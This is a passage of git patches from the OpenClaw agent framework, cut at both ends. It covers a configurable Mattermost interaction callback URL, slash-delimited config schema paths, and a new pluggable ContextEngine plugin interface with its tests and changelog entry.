@@ export function createMattermostInteractionHandler(params: { return; } - // Verify request is from localhost - if (!isLocalhostRequest(req)) { - log?.( - `mattermost interaction: rejected non-localhost request from ${req.socket?.remoteAddress}`, - ); - res.statusCode = 403; - res.setHeader("Content-Type", "application/json"); - res.end(JSON.stringify({ error: "Forbidden" })); - return; - } - let payload: MattermostInteractionPayload; try { const raw = await readInteractionBody(req); diff --git a/extensions/mattermost/src/mattermost/monitor.ts b/extensions/mattermost/src/mattermost/monitor.ts index 13864a33f44..4ce11a6a003 100644 --- a/extensions/mattermost/src/mattermost/monitor.ts +++ b/extensions/mattermost/src/mattermost/monitor.ts @@ -44,7 +44,9 @@ import { type MattermostUser, } from "./client.js"; import { + computeInteractionCallbackUrl, createMattermostInteractionHandler, + resolveInteractionCallbackPath, setInteractionCallbackUrl, setInteractionSecret, } from "./interactions.js"; @@ -100,6 +102,10 @@ const RECENT_MATTERMOST_MESSAGE_MAX = 2000; const CHANNEL_CACHE_TTL_MS = 5 * 60_000; const USER_CACHE_TTL_MS = 10 * 60_000; +function isLoopbackHost(hostname: string): boolean { + return hostname === "localhost" || hostname === "127.0.0.1" || hostname === "::1"; +} + const recentInboundMessages = createDedupeCache({ ttlMs: RECENT_MATTERMOST_MESSAGE_TTL_MS, maxSize: RECENT_MATTERMOST_MESSAGE_MAX, @@ -333,9 +339,6 @@ export async function monitorMattermostProvider(opts: MonitorMattermostOpts = {} gatewayHost: cfg.gateway?.customBindHost ?? undefined, }); - const isLoopbackHost = (hostname: string) => - hostname === "localhost" || hostname === "127.0.0.1" || hostname === "::1"; - try { const mmHost = new URL(baseUrl).hostname; const callbackHost = new URL(slashCallbackUrl).hostname; @@ -452,10 +455,27 @@ export async function monitorMattermostProvider(opts: MonitorMattermostOpts = {} // Register HTTP callback endpoint for interactive button clicks. // Mattermost POSTs to this URL when a user clicks a button action. - const gatewayPort = typeof cfg.gateway?.port === "number" ? cfg.gateway.port : 18789; - const interactionPath = `/mattermost/interactions/${account.accountId}`; - const callbackUrl = `http://localhost:${gatewayPort}${interactionPath}`; + const interactionPath = resolveInteractionCallbackPath(account.accountId); + // Recompute from config on each monitor start so reconnects or config reloads can refresh the + // cached callback URL for downstream callers such as `message action=send`. + const callbackUrl = computeInteractionCallbackUrl(account.accountId, { + gateway: cfg.gateway, + interactions: account.config.interactions, + }); setInteractionCallbackUrl(account.accountId, callbackUrl); + + try { + const mmHost = new URL(baseUrl).hostname; + const callbackHost = new URL(callbackUrl).hostname; + if (isLoopbackHost(callbackHost) && !isLoopbackHost(mmHost)) { + runtime.error?.( + `mattermost: interactions callbackUrl resolved to ${callbackUrl} (loopback) while baseUrl is ${baseUrl}. This MAY be unreachable depending on your deployment. If button clicks don't work, set channels.mattermost.interactions.callbackBaseUrl to a URL reachable from the Mattermost server (e.g. your public reverse proxy URL).`, + ); + } + } catch { + // URL parse failed; ignore and continue (we will fail naturally if callbacks cannot be delivered). + } + const unregisterInteractions = registerPluginHttpRoute({ path: interactionPath, fallbackPath: "/mattermost/interactions/default", @@ -464,7 +484,6 @@ export async function monitorMattermostProvider(opts: MonitorMattermostOpts = {} client, botUserId, accountId: account.accountId, - callbackUrl, resolveSessionKey: async (channelId: string, userId: string) => { const channelInfo = await resolveChannelInfo(channelId); const kind = mapMattermostChannelTypeToChatType(channelInfo?.type); From fa6c0e1b404f094e579b5fb192c6643c7822c1b6 Mon Sep 17 00:00:00 2001 From: Gustavo Madeira Santana Date: Fri, 6 Mar 2026 06:57:04 -0500 Subject: [PATCH 006/844] Gateway: allow slash-delimited schema lookup paths --- src/config/schema.test.ts | 26 ++++++++++++++++++++++++++ src/gateway/protocol/schema/config.ts | 2 +- 2 files changed, 27 insertions(+), 1 deletion(-) diff --git a/src/config/schema.test.ts b/src/config/schema.test.ts index bce33bad7b9..54aaa79c846 100644 --- a/src/config/schema.test.ts +++ b/src/config/schema.test.ts @@ -143,6 +143,32 @@ describe("config schema", () => { expect(channelProps?.accessToken).toBeTruthy(); }); + it("looks up plugin config paths for slash-delimited plugin ids", () => { + const res = buildConfigSchema({ + plugins: [ + { + id: "pack/one", + name: "Pack One", + configSchema: { + type: "object", + properties: { + provider: { type: "string" }, + }, + }, + }, + ], + }); + + const lookup = lookupConfigSchema(res, "plugins.entries.pack/one.config"); + expect(lookup?.path).toBe("plugins.entries.pack/one.config"); + expect(lookup?.hintPath).toBe("plugins.entries.pack/one.config"); + expect(lookup?.children.find((child) => child.key === "provider")).toMatchObject({ + key: "provider", + path: "plugins.entries.pack/one.config.provider", + type: "string", + }); + }); + it("adds heartbeat target hints with dynamic channels", () => { const res = buildConfigSchema(heartbeatChannelInput); diff --git a/src/gateway/protocol/schema/config.ts b/src/gateway/protocol/schema/config.ts index 78159549255..9d0ec876668 100644 --- a/src/gateway/protocol/schema/config.ts +++ b/src/gateway/protocol/schema/config.ts @@ -4,7 +4,7 @@ import { NonEmptyString } from "./primitives.js"; const ConfigSchemaLookupPathString = Type.String({ minLength: 1, maxLength: 1024, - pattern: "^[A-Za-z0-9_.\\[\\]\\-*]+$", + pattern: "^[A-Za-z0-9_./\\[\\]\\-*]+$", }); export const ConfigGetParamsSchema = Type.Object({}, { additionalProperties: false }); From fee91fefceb4652933182ad14fb323a7e94d3c2d Mon Sep 17 00:00:00 2001 From: Josh Lehman Date: Fri, 6 Mar 2026 05:31:59 -0800 Subject: [PATCH 007/844] feature(context): extend plugin system to support custom context management (#22201) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * feat(context-engine): add ContextEngine interface and registry Introduce the pluggable ContextEngine abstraction that allows external plugins to register custom context management strategies. - ContextEngine interface with lifecycle methods: bootstrap, ingest, ingestBatch, afterTurn, assemble, compact, prepareSubagentSpawn, onSubagentEnded, dispose - Module-level singleton registry with registerContextEngine() and resolveContextEngine() (config-driven slot selection) - LegacyContextEngine: pass-through implementation wrapping existing compaction behavior for 100% backward compatibility - ensureContextEnginesInitialized() guard for safe one-time registration - 19 tests covering contract, registry, resolution, and legacy parity * feat(plugins): add context-engine slot and registerContextEngine API Wire the ContextEngine abstraction into the plugin system so external plugins can register context engines via the standard plugin API. - Add 'context-engine' to PluginKind union type - Add 'contextEngine' slot to PluginSlotsConfig (default: 'legacy') - Wire registerContextEngine() through OpenClawPluginApi - Export ContextEngine types from plugin-sdk for external consumers - Restore proper slot-based resolution in registry * feat(context-engine): wire ContextEngine into agent run lifecycle Integrate the ContextEngine abstraction into the core agent run path: - Resolve context engine once per run (reused across retries) - Bootstrap: hydrate canonical store from session file on first run - Assemble: route context assembly through pluggable engine - Auto-compaction guard: disable built-in auto-compaction when the engine declares ownsCompaction (prevents double-compaction) - AfterTurn: post-turn lifecycle hook for ingest + background compaction decisions - Overflow compaction: route through contextEngine.compact() - Dispose: clean up engine resources in finally block - Notify context engine on subagent lifecycle events Legacy engine: all lifecycle methods are pass-through/no-op, preserving 100% backward compatibility for users without a context engine plugin. * feat(plugins): add scoped subagent methods and gateway request scope Expose runtime.subagent.{run, waitForRun, getSession, deleteSession} so external plugins can spawn sub-agent sessions without raw gateway dispatch access. Uses AsyncLocalStorage request-scope bridge to dispatch internally via handleGatewayRequest with a synthetic operator client. Methods are only available during gateway request handling. - Symbol.for-backed global singleton for cross-module-reload safety - Fallback gateway context for non-WS dispatch paths (Telegram/WhatsApp) - Set gateway request scope for all handlers, not just plugin handlers - 3 staleness tests for fallback context hardening * feat(context-engine): route /compact and sessions.get through context engine Wire the /compact command and sessions.get handler through the pluggable ContextEngine interface. - Thread tokenBudget and force parameters to context engine compact - Route /compact through contextEngine.compact() when registered - Wire sessions.get as runtime alias for plugin subagent dispatch - Add .pebbles/ to .gitignore * style: format with oxfmt 0.33.0 Fix duplicate import (ControlUiRootState in server.impl.ts) and import ordering across all changed files. * fix: update extension test mocks for context-engine types Add missing subagent property to bluebubbles PluginRuntime mock. Add missing registerContextEngine to lobster OpenClawPluginApi mock. * fix(subagents): keep deferred delete cleanup retryable * style: format run attempt for CI * fix(rebase): remove duplicate embedded-run imports * test: add missing gateway context mock export * fix: pass resolved auth profile into afterTurn compaction Ensure the embedded runner forwards resolved auth profile context into legacy context-engine compaction params on the normal afterTurn path, matching overflow compaction behavior. This allows downstream LCM summarization to use the intended provider auth/profile consistently. Also fix strict TS typing in external-link token dedupe and align an attempt unit test reasoningLevel value with the current ReasoningLevel enum. Regeneration-Prompt: | We were debugging context-engine compaction where downstream summary calls were missing the right auth/profile context in normal afterTurn flow, while overflow compaction already propagated it. Preserve current behavior and keep changes additive: thread the resolved authProfileId through run -> attempt -> legacy compaction param builder without broad refactors. Add tests that prove the auth profile is included in afterTurn legacy params and that overflow compaction still passes it through run attempts. Keep existing APIs stable, and only adjust small type issues needed for strict compilation. * fix: remove duplicate imports from rebase * feat: add context-engine system prompt additions * fix(rebase): dedupe attempt import declarations * test: fix fetch mock typing in ollama autodiscovery * fix(test): add registerContextEngine to diffs extension mock APIs * test(windows): use path.delimiter in ios-team-id fixture PATH * test(cron): add model formatting and precedence edge case tests Covers: - Provider/model string splitting (whitespace, nested paths, empty segments) - Provider normalization (casing, aliases like bedrock→amazon-bedrock) - Anthropic model alias normalization (opus-4.5→claude-opus-4-5) - Precedence: job payload > session override > config default - Sequential runs with different providers (CI flake regression pattern) - forceNew session preserving stored model overrides - Whitespace/empty model string edge cases - Config model as string vs object format * test(cron): fix model formatting test config types * test(phone-control): add registerContextEngine to mock API * fix: re-export ChannelKind from config-reload-plan * fix: add subagent mock to plugin-runtime-mock test util * docs: add changelog fragment for context engine PR #22201 --- CHANGELOG.md | 1 + extensions/diffs/index.test.ts | 2 + extensions/diffs/src/tool.test.ts | 1 + extensions/lobster/src/lobster-tool.test.ts | 1 + extensions/phone-control/index.test.ts | 1 + extensions/test-utils/plugin-runtime-mock.ts | 7 + src/agents/pi-embedded-runner/compact.ts | 54 +- .../run.overflow-compaction.test.ts | 16 + src/agents/pi-embedded-runner/run.ts | 65 ++- .../pi-embedded-runner/run/attempt.test.ts | 54 +- src/agents/pi-embedded-runner/run/attempt.ts | 149 +++++ src/agents/pi-embedded-runner/run/types.ts | 9 + src/agents/pi-settings.ts | 25 + src/agents/subagent-registry.ts | 45 +- src/config/config-misc.test.ts | 13 + src/config/schema.help.ts | 2 + src/config/schema.labels.ts | 1 + src/config/types.plugins.ts | 2 + src/config/zod-schema.ts | 1 + src/context-engine/context-engine.test.ts | 337 +++++++++++ src/context-engine/index.ts | 19 + src/context-engine/init.ts | 23 + src/context-engine/legacy.ts | 115 ++++ src/context-engine/registry.ts | 67 +++ src/context-engine/types.ts | 167 ++++++ .../isolated-agent.model-formatting.test.ts | 541 ++++++++++++++++++ src/gateway/config-reload.ts | 2 +- src/gateway/method-scopes.ts | 1 + src/gateway/server-methods.ts | 22 +- src/gateway/server-methods/sessions.ts | 23 + src/gateway/server-plugins.test.ts | 159 ++++- src/gateway/server-plugins.ts | 164 +++++- ...server.agent.gateway-server-agent.mocks.ts | 20 +- src/gateway/server.impl.ts | 111 ++-- src/plugin-sdk/index.ts | 29 +- src/plugins/loader.ts | 5 +- src/plugins/registry.ts | 2 + .../runtime/gateway-request-scope.test.ts | 23 + src/plugins/runtime/gateway-request-scope.ts | 46 ++ src/plugins/runtime/index.ts | 20 +- src/plugins/runtime/types.ts | 55 ++ src/plugins/slots.ts | 2 + src/plugins/types.ts | 7 +- test/scripts/ios-team-id.test.ts | 2 +- 44 files changed, 2308 insertions(+), 103 deletions(-) create mode 100644 src/context-engine/context-engine.test.ts create mode 100644 src/context-engine/index.ts create mode 100644 src/context-engine/init.ts create mode 100644 src/context-engine/legacy.ts create mode 100644 src/context-engine/registry.ts create mode 100644 src/context-engine/types.ts create mode 100644 src/cron/isolated-agent.model-formatting.test.ts create mode 100644 src/plugins/runtime/gateway-request-scope.test.ts create mode 100644 src/plugins/runtime/gateway-request-scope.ts diff --git a/CHANGELOG.md b/CHANGELOG.md index 5cb86a8bd78..0621c2389de 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -23,6 +23,7 @@ Docs: https://docs.openclaw.ai - Tools/Diffs guidance: restore a short system-prompt hint for enabled diffs while keeping the detailed instructions in the companion skill, so diffs usage guidance stays out of user-prompt space. (#36904) thanks @gumadeiras. - Telegram/ACP topic bindings: accept Telegram Mac Unicode dash option prefixes in `/acp spawn`, support Telegram topic thread binding (`--thread here|auto`), route bound-topic follow-ups to ACP sessions, add actionable Telegram approval buttons with prefixed approval-id resolution, and pin successful bind confirmations in-topic. (#36683) Thanks @huntharo. - Hooks/Compaction lifecycle: emit `session:compact:before` and `session:compact:after` internal events plus plugin compaction callbacks with session/count metadata, so automations can react to compaction runs consistently. (#16788) thanks @vincentkoc. +- Agents/context engine plugin interface: add `ContextEngine` plugin slot with full lifecycle hooks (`bootstrap`, `ingest`, `assemble`, `compact`, `afterTurn`, `prepareSubagentSpawn`, `onSubagentEnded`), slot-based registry with config-driven resolution, `LegacyContextEngine` wrapper preserving existing compaction behavior, scoped subagent runtime for plugin runtimes via `AsyncLocalStorage`, and `sessions.get` gateway method. Enables plugins like `lossless-claw` to provide alternative context management strategies without modifying core compaction logic. Zero behavior change when no context engine plugin is configured. (#22201) thanks @jalehman. - CLI: make read-only SecretRef status flows degrade safely (#37023) thanks @joshavant. ### Breaking diff --git a/extensions/diffs/index.test.ts b/extensions/diffs/index.test.ts index 84ce5d9fe87..1723fc3c73d 100644 --- a/extensions/diffs/index.test.ts +++ b/extensions/diffs/index.test.ts @@ -30,6 +30,7 @@ describe("diffs plugin registration", () => { registerService() {}, registerProvider() {}, registerCommand() {}, + registerContextEngine() {}, resolvePath(input: string) { return input; }, @@ -105,6 +106,7 @@ describe("diffs plugin registration", () => { registerService() {}, registerProvider() {}, registerCommand() {}, + registerContextEngine() {}, resolvePath(input: string) { return input; }, diff --git a/extensions/diffs/src/tool.test.ts b/extensions/diffs/src/tool.test.ts index db66255cba6..ba72c011c76 100644 --- a/extensions/diffs/src/tool.test.ts +++ b/extensions/diffs/src/tool.test.ts @@ -441,6 +441,7 @@ function createApi(): OpenClawPluginApi { registerService() {}, registerProvider() {}, registerCommand() {}, + registerContextEngine() {}, resolvePath(input: string) { return input; }, diff --git a/extensions/lobster/src/lobster-tool.test.ts b/extensions/lobster/src/lobster-tool.test.ts index 970c2ad4fd1..40e9a0b64e8 100644 --- a/extensions/lobster/src/lobster-tool.test.ts +++ b/extensions/lobster/src/lobster-tool.test.ts @@ -46,6 +46,7 @@ function fakeApi(overrides: Partial = {}): OpenClawPluginApi registerHook() {}, registerHttpRoute() {}, registerCommand() {}, + registerContextEngine() {}, on() {}, resolvePath: (p) => p, ...overrides, diff --git a/extensions/phone-control/index.test.ts b/extensions/phone-control/index.test.ts index a4d05e3d431..9259092b153 100644 --- a/extensions/phone-control/index.test.ts +++ b/extensions/phone-control/index.test.ts @@ -39,6 +39,7 @@ function createApi(params: { registerCli() {}, registerService() {}, registerProvider() {}, + registerContextEngine() {}, registerCommand: params.registerCommand, resolvePath(input: string) { return input; diff --git a/extensions/test-utils/plugin-runtime-mock.ts b/extensions/test-utils/plugin-runtime-mock.ts index f01c87d6c77..0526c6bf591 100644 --- a/extensions/test-utils/plugin-runtime-mock.ts +++ b/extensions/test-utils/plugin-runtime-mock.ts @@ -242,6 +242,13 @@ export function createPluginRuntimeMock(overrides: DeepPartial = state: { resolveStateDir: vi.fn(() => "/tmp/openclaw"), }, + subagent: { + run: vi.fn(), + waitForRun: vi.fn(), + getSessionMessages: vi.fn(), + getSession: vi.fn(), + deleteSession: vi.fn(), + }, }; return mergeDeep(base, overrides); diff --git a/src/agents/pi-embedded-runner/compact.ts b/src/agents/pi-embedded-runner/compact.ts index 2bfc9e0a5ce..335c3a0e7d9 100644 --- a/src/agents/pi-embedded-runner/compact.ts +++ b/src/agents/pi-embedded-runner/compact.ts @@ -11,6 +11,10 @@ import { resolveHeartbeatPrompt } from "../../auto-reply/heartbeat.js"; import type { ReasoningLevel, ThinkLevel } from "../../auto-reply/thinking.js"; import { resolveChannelCapabilities } from "../../config/channel-capabilities.js"; import type { OpenClawConfig } from "../../config/config.js"; +import { + ensureContextEnginesInitialized, + resolveContextEngine, +} from "../../context-engine/index.js"; import { createInternalHookEvent, triggerInternalHook } from "../../hooks/internal-hooks.js"; import { getMachineDisplayName } from "../../infra/machine-name.js"; import { generateSecureToken } from "../../infra/secure-random.js"; @@ -29,8 +33,9 @@ import { resolveSessionAgentIds } from "../agent-scope.js"; import type { ExecElevatedDefaults } from "../bash-tools.js"; import { makeBootstrapWarn, resolveBootstrapContextForRun } from "../bootstrap-files.js"; import { listChannelSupportedActions, resolveChannelMessageToolHints } from "../channel-tools.js"; +import { resolveContextWindowInfo } from "../context-window-guard.js"; import { formatUserTime, resolveUserTimeFormat, resolveUserTimezone } from "../date-time.js"; -import { DEFAULT_MODEL, DEFAULT_PROVIDER } from "../defaults.js"; +import { DEFAULT_CONTEXT_TOKENS, DEFAULT_MODEL, DEFAULT_PROVIDER } from "../defaults.js"; import { resolveOpenClawDocsPath } from "../docs-path.js"; import { getApiKeyForModel, resolveModelAuthMode } from "../model-auth.js"; import { ensureOpenClawModelsJson } from "../models-config.js"; @@ -115,6 +120,8 @@ export type CompactEmbeddedPiSessionParams = { reasoningLevel?: ReasoningLevel; bashElevated?: ExecElevatedDefaults; customInstructions?: string; + tokenBudget?: number; + force?: boolean; trigger?: "overflow" | "manual"; diagId?: string; attempt?: number; @@ -846,6 +853,49 @@ export async function compactEmbeddedPiSession( const enqueueGlobal = params.enqueue ?? ((task, opts) => enqueueCommandInLane(globalLane, task, opts)); return enqueueCommandInLane(sessionLane, () => - enqueueGlobal(async () => compactEmbeddedPiSessionDirect(params)), + enqueueGlobal(async () => { + ensureContextEnginesInitialized(); + const contextEngine = await resolveContextEngine(params.config); + try { + // Resolve token budget from model context window so the context engine + // knows the compaction target. The runner's afterTurn path passes this + // automatically, but the /compact command path needs to compute it here. + const ceProvider = (params.provider ?? DEFAULT_PROVIDER).trim() || DEFAULT_PROVIDER; + const ceModelId = (params.model ?? DEFAULT_MODEL).trim() || DEFAULT_MODEL; + const agentDir = params.agentDir ?? resolveOpenClawAgentDir(); + const { model: ceModel } = resolveModel(ceProvider, ceModelId, agentDir, params.config); + const ceCtxInfo = resolveContextWindowInfo({ + cfg: params.config, + provider: ceProvider, + modelId: ceModelId, + modelContextWindow: ceModel?.contextWindow, + defaultTokens: DEFAULT_CONTEXT_TOKENS, + }); + const result = await contextEngine.compact({ + sessionId: params.sessionId, + sessionFile: params.sessionFile, + tokenBudget: ceCtxInfo.tokens, + customInstructions: params.customInstructions, + force: params.trigger === "manual", + legacyParams: params as Record, + }); + return { + ok: result.ok, + compacted: result.compacted, + reason: result.reason, + result: result.result + ? { + summary: result.result.summary ?? "", + firstKeptEntryId: result.result.firstKeptEntryId ?? "", + tokensBefore: result.result.tokensBefore, + tokensAfter: result.result.tokensAfter, + details: result.result.details, + } + : undefined, + }; + } finally { + await contextEngine.dispose?.(); + } + }), ); } diff --git a/src/agents/pi-embedded-runner/run.overflow-compaction.test.ts b/src/agents/pi-embedded-runner/run.overflow-compaction.test.ts index 1f8f8032f7e..19b4a81d279 100644 --- a/src/agents/pi-embedded-runner/run.overflow-compaction.test.ts +++ b/src/agents/pi-embedded-runner/run.overflow-compaction.test.ts @@ -54,6 +54,22 @@ describe("runEmbeddedPiAgent overflow compaction trigger routing", () => { ); }); + it("passes resolved auth profile into run attempts for context-engine afterTurn propagation", async () => { + mockedRunEmbeddedAttempt.mockResolvedValueOnce(makeAttemptResult({ promptError: null })); + + await runEmbeddedPiAgent({ + ...overflowBaseRunParams, + runId: "run-auth-profile-passthrough", + }); + + expect(mockedRunEmbeddedAttempt).toHaveBeenCalledWith( + expect.objectContaining({ + authProfileId: "test-profile", + authProfileIdSource: "auto", + }), + ); + }); + it("passes trigger=overflow when retrying compaction after context overflow", async () => { mockOverflowRetrySuccess({ runEmbeddedAttempt: mockedRunEmbeddedAttempt, diff --git a/src/agents/pi-embedded-runner/run.ts b/src/agents/pi-embedded-runner/run.ts index a5b799471d2..52faf8514b7 100644 --- a/src/agents/pi-embedded-runner/run.ts +++ b/src/agents/pi-embedded-runner/run.ts @@ -1,6 +1,10 @@ import { randomBytes } from "node:crypto"; import fs from "node:fs/promises"; import type { ThinkLevel } from "../../auto-reply/thinking.js"; +import { + ensureContextEnginesInitialized, + resolveContextEngine, +} from "../../context-engine/index.js"; import { generateSecureToken } from "../../infra/secure-random.js"; import { getGlobalHookRunner } from "../../plugins/hook-runner-global.js"; import type { PluginHookBeforeAgentStartResult } from "../../plugins/types.js"; @@ -50,7 +54,6 @@ import { } from "../pi-embedded-helpers.js"; import { derivePromptTokens, normalizeUsage, type UsageLike } from "../usage.js"; import { redactRunIdentifier, resolveRunWorkspaceDir } from "../workspace-run.js"; -import { compactEmbeddedPiSessionDirect } from "./compact.js"; import { resolveGlobalLane, resolveSessionLane } from "./lanes.js"; import { log } from "./logger.js"; import { resolveModel } from "./model.js"; @@ -737,6 +740,10 @@ export async function runEmbeddedPiAgent( agentDir, }); }; + // Resolve the context engine once and reuse across retries to avoid + // repeated initialization/connection overhead per attempt. + ensureContextEnginesInitialized(); + const contextEngine = await resolveContextEngine(params.config); try { let authRetryPending = false; // Hoisted so the retry-limit error path can use the most recent API total. @@ -806,6 +813,8 @@ export async function runEmbeddedPiAgent( workspaceDir: resolvedWorkspace, agentDir, config: params.config, + contextEngine, + contextTokenBudget: ctxInfo.tokens, skillsSnapshot: params.skillsSnapshot, prompt, images: params.images, @@ -813,6 +822,8 @@ export async function runEmbeddedPiAgent( provider, modelId, model, + authProfileId: lastProfileId, + authProfileIdSource: lockedProfileId ? "user" : "auto", authStorage, modelRegistry, agentId: workspaceResolution.agentId, @@ -955,31 +966,36 @@ export async function runEmbeddedPiAgent( log.warn( `context overflow detected (attempt ${overflowCompactionAttempts}/${MAX_OVERFLOW_COMPACTION_ATTEMPTS}); attempting auto-compaction for ${provider}/${modelId}`, ); - const compactResult = await compactEmbeddedPiSessionDirect({ + const compactResult = await contextEngine.compact({ sessionId: params.sessionId, - sessionKey: params.sessionKey, - messageChannel: params.messageChannel, - messageProvider: params.messageProvider, - agentAccountId: params.agentAccountId, - authProfileId: lastProfileId, sessionFile: params.sessionFile, - workspaceDir: resolvedWorkspace, - agentDir, - config: params.config, - skillsSnapshot: params.skillsSnapshot, - senderIsOwner: params.senderIsOwner, - provider, - model: modelId, - runId: params.runId, - thinkLevel, - reasoningLevel: params.reasoningLevel, - bashElevated: params.bashElevated, - extraSystemPrompt: params.extraSystemPrompt, - ownerNumbers: params.ownerNumbers, - trigger: "overflow", - diagId: overflowDiagId, - attempt: overflowCompactionAttempts, - maxAttempts: MAX_OVERFLOW_COMPACTION_ATTEMPTS, + tokenBudget: ctxInfo.tokens, + force: true, + compactionTarget: "budget", + legacyParams: { + sessionKey: params.sessionKey, + messageChannel: params.messageChannel, + messageProvider: params.messageProvider, + agentAccountId: params.agentAccountId, + authProfileId: lastProfileId, + workspaceDir: resolvedWorkspace, + agentDir, + config: params.config, + skillsSnapshot: params.skillsSnapshot, + senderIsOwner: params.senderIsOwner, + provider, + model: modelId, + runId: params.runId, + thinkLevel, + reasoningLevel: params.reasoningLevel, + bashElevated: params.bashElevated, + extraSystemPrompt: params.extraSystemPrompt, + ownerNumbers: params.ownerNumbers, + trigger: "overflow", + diagId: overflowDiagId, + attempt: overflowCompactionAttempts, + maxAttempts: MAX_OVERFLOW_COMPACTION_ATTEMPTS, + }, }); if (compactResult.compacted) { autoCompactionCount += 1; @@ -1412,6 +1428,7 @@ export async function runEmbeddedPiAgent( }; } } finally { + await contextEngine.dispose?.(); stopCopilotRefreshTimer(); process.chdir(prevCwd); } diff --git a/src/agents/pi-embedded-runner/run/attempt.test.ts b/src/agents/pi-embedded-runner/run/attempt.test.ts index 4f637a464c2..c4878617c5c 100644 --- a/src/agents/pi-embedded-runner/run/attempt.test.ts +++ b/src/agents/pi-embedded-runner/run/attempt.test.ts @@ -1,8 +1,10 @@ import { describe, expect, it, vi } from "vitest"; import type { OpenClawConfig } from "../../../config/config.js"; import { + buildAfterTurnLegacyCompactionParams, composeSystemPromptWithHookContext, isOllamaCompatProvider, + prependSystemPromptAddition, resolveAttemptFsWorkspaceOnly, resolveOllamaBaseUrlForRun, resolveOllamaCompatNumCtxEnabled, @@ -180,7 +182,6 @@ describe("resolveAttemptFsWorkspaceOnly", () => { ).toBe(false); }); }); - describe("wrapStreamFnTrimToolCallNames", () => { function createFakeStream(params: { events: unknown[]; resultMessage: unknown }): { result: () => Promise; @@ -548,3 +549,54 @@ describe("decodeHtmlEntitiesInObject", () => { expect(decodeHtmlEntitiesInObject("'world'")).toBe("'world'"); }); }); +describe("prependSystemPromptAddition", () => { + it("prepends context-engine addition to the system prompt", () => { + const result = prependSystemPromptAddition({ + systemPrompt: "base system", + systemPromptAddition: "extra behavior", + }); + + expect(result).toBe("extra behavior\n\nbase system"); + }); + + it("returns the original system prompt when no addition is provided", () => { + const result = prependSystemPromptAddition({ + systemPrompt: "base system", + }); + + expect(result).toBe("base system"); + }); +}); + +describe("buildAfterTurnLegacyCompactionParams", () => { + it("includes resolved auth profile fields for context-engine afterTurn compaction", () => { + const legacy = buildAfterTurnLegacyCompactionParams({ + attempt: { + sessionKey: "agent:main:session:abc", + messageChannel: "slack", + messageProvider: "slack", + agentAccountId: "acct-1", + authProfileId: "openai:p1", + config: { plugins: { slots: { contextEngine: "lossless-claw" } } } as OpenClawConfig, + skillsSnapshot: undefined, + senderIsOwner: true, + provider: "openai-codex", + modelId: "gpt-5.3-codex", + thinkLevel: "off", + reasoningLevel: "on", + extraSystemPrompt: "extra", + ownerNumbers: ["+15555550123"], + }, + workspaceDir: "/tmp/workspace", + agentDir: "/tmp/agent", + }); + + expect(legacy).toMatchObject({ + authProfileId: "openai:p1", + provider: "openai-codex", + model: "gpt-5.3-codex", + workspaceDir: "/tmp/workspace", + agentDir: "/tmp/agent", + }); + }); +}); diff --git a/src/agents/pi-embedded-runner/run/attempt.ts b/src/agents/pi-embedded-runner/run/attempt.ts index 4a75c297a26..61159c13357 100644 --- a/src/agents/pi-embedded-runner/run/attempt.ts +++ b/src/agents/pi-embedded-runner/run/attempt.ts @@ -63,6 +63,7 @@ import { } from "../../pi-embedded-helpers.js"; import { subscribeEmbeddedPiSession } from "../../pi-embedded-subscribe.js"; import { createPreparedEmbeddedPiSettingsManager } from "../../pi-project-settings.js"; +import { applyPiAutoCompactionGuard } from "../../pi-settings.js"; import { toClientToolDefinitions } from "../../pi-tool-definition-adapter.js"; import { createOpenClawCodingTools, resolveToolLoopDetectionConfig } from "../../pi-tools.js"; import { resolveSandboxContext } from "../../sandbox.js"; @@ -90,6 +91,7 @@ import { resolveTranscriptPolicy } from "../../transcript-policy.js"; import { DEFAULT_BOOTSTRAP_FILENAME } from "../../workspace.js"; import { isRunnerAbortError } from "../abort.js"; import { appendCacheTtlTimestamp, isCacheTtlEligibleProvider } from "../cache-ttl.js"; +import type { CompactEmbeddedPiSessionParams } from "../compact.js"; import { buildEmbeddedExtensionFactories } from "../extensions.js"; import { applyExtraParamsToAgent } from "../extra-params.js"; import { @@ -617,6 +619,60 @@ export function resolveAttemptFsWorkspaceOnly(params: { }); } +export function prependSystemPromptAddition(params: { + systemPrompt: string; + systemPromptAddition?: string; +}): string { + if (!params.systemPromptAddition) { + return params.systemPrompt; + } + return `${params.systemPromptAddition}\n\n${params.systemPrompt}`; +} + +/** Build legacy compaction params passed into context-engine afterTurn hooks. */ +export function buildAfterTurnLegacyCompactionParams(params: { + attempt: Pick< + EmbeddedRunAttemptParams, + | "sessionKey" + | "messageChannel" + | "messageProvider" + | "agentAccountId" + | "config" + | "skillsSnapshot" + | "senderIsOwner" + | "provider" + | "modelId" + | "thinkLevel" + | "reasoningLevel" + | "bashElevated" + | "extraSystemPrompt" + | "ownerNumbers" + | "authProfileId" + >; + workspaceDir: string; + agentDir: string; +}): Partial { + return { + sessionKey: params.attempt.sessionKey, + messageChannel: params.attempt.messageChannel, + messageProvider: params.attempt.messageProvider, + agentAccountId: params.attempt.agentAccountId, + authProfileId: params.attempt.authProfileId, + workspaceDir: params.workspaceDir, + agentDir: params.agentDir, + config: params.attempt.config, + skillsSnapshot: params.attempt.skillsSnapshot, + senderIsOwner: params.attempt.senderIsOwner, + provider: params.attempt.provider, + model: params.attempt.modelId, + thinkLevel: params.attempt.thinkLevel, + reasoningLevel: params.attempt.reasoningLevel, + bashElevated: params.attempt.bashElevated, + extraSystemPrompt: params.attempt.extraSystemPrompt, + ownerNumbers: params.attempt.ownerNumbers, + }; +} + function summarizeMessagePayload(msg: AgentMessage): { textChars: number; imageBlocks: number } { const content = (msg as { content?: unknown }).content; if (typeof content === "string") { @@ -1025,6 +1081,17 @@ export async function runEmbeddedAttempt( }); trackSessionManagerAccess(params.sessionFile); + if (hadSessionFile && params.contextEngine?.bootstrap) { + try { + await params.contextEngine.bootstrap({ + sessionId: params.sessionId, + sessionFile: params.sessionFile, + }); + } catch (bootstrapErr) { + log.warn(`context engine bootstrap failed: ${String(bootstrapErr)}`); + } + } + await prepareSessionManagerForRun({ sessionManager, sessionFile: params.sessionFile, @@ -1038,6 +1105,10 @@ export async function runEmbeddedAttempt( agentDir, cfg: params.config, }); + applyPiAutoCompactionGuard({ + settingsManager, + contextEngineInfo: params.contextEngine?.info, + }); // Sets compaction/pruning runtime state and returns extension factories // that must be passed to the resource loader for the safeguard to be active. @@ -1336,6 +1407,33 @@ export async function runEmbeddedAttempt( if (limited.length > 0) { activeSession.agent.replaceMessages(limited); } + + if 